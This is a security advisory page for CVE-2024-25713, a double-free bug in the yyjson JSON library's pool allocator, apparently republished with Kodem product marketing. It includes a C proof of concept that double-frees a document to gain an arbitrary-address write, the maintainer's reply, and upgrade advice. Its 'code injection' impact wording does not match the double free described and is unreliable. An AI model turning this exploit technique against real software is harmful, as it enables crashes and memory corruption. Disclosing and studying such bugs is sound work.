Summary
yyjson has a Double Free vulnerability
The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks.
Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.
Details
The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.
PoC
Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.
#include <stdio.h>
#include "yyjson.h"
char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;
int main() {
size_t max_json_size = 64 * 1024;
size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
void *buf = malloc(buf_size);
yyjson_alc alc;
yyjson_alc_pool_init(&alc, buf, buf_size);
yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
yyjson_mut_arr(p2);
yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p2); // double free
yyjson_mut_doc_free(p1);
yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;
for(int i=0;i<0x100;i++)test[i]= 'a';
test[0x100]='\00';
char *payload_f = "[%lld,43981]";
char payload[100];
sprintf(payload,payload_f,&a);
yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);
yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
for(int z=1;z<=100;z++)
yyjson_mut_int(p8,0x63636363);
printf("%s",test);
free(buf);
return 0;
}
Note from yyjson
yyjson_mut_doc_free() is well-documented:
https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093
/** Release the JSON document and free the memory.
After calling this function, the `doc` and all values from the `doc` are no
longer available. This function will do nothing if the `doc` is NULL. */
void yyjson_mut_doc_free(yyjson_doc *doc);
If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid.
Any further operation on the doc or its values is undefined behavior.
While this is not a bug in yyjson itself, a defensive patch has been provided: 0eca326
If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation,
this patch will cause your program to crash immediately, alerting you to the incorrect usage.
Impact
What kind of vulnerability is it? Who is impacted?
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2024-25713 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-25713? CVE-2024-25713 is a high-severity code injection vulnerability in github.com/ibireme/yyjson (swift), affecting versions < 0.9.0. It is fixed in 0.9.0. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2024-25713? CVE-2024-25713 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/ibireme/yyjson are affected by CVE-2024-25713? github.com/ibireme/yyjson (swift) versions < 0.9.0 is affected.
- Is there a fix for CVE-2024-25713? Yes. CVE-2024-25713 is fixed in 0.9.0. Upgrade to this version or later.
- Is CVE-2024-25713 exploitable, and should I be worried? Whether CVE-2024-25713 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-25713 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-25713? Upgrade
github.com/ibireme/yyjsonto 0.9.0 or later.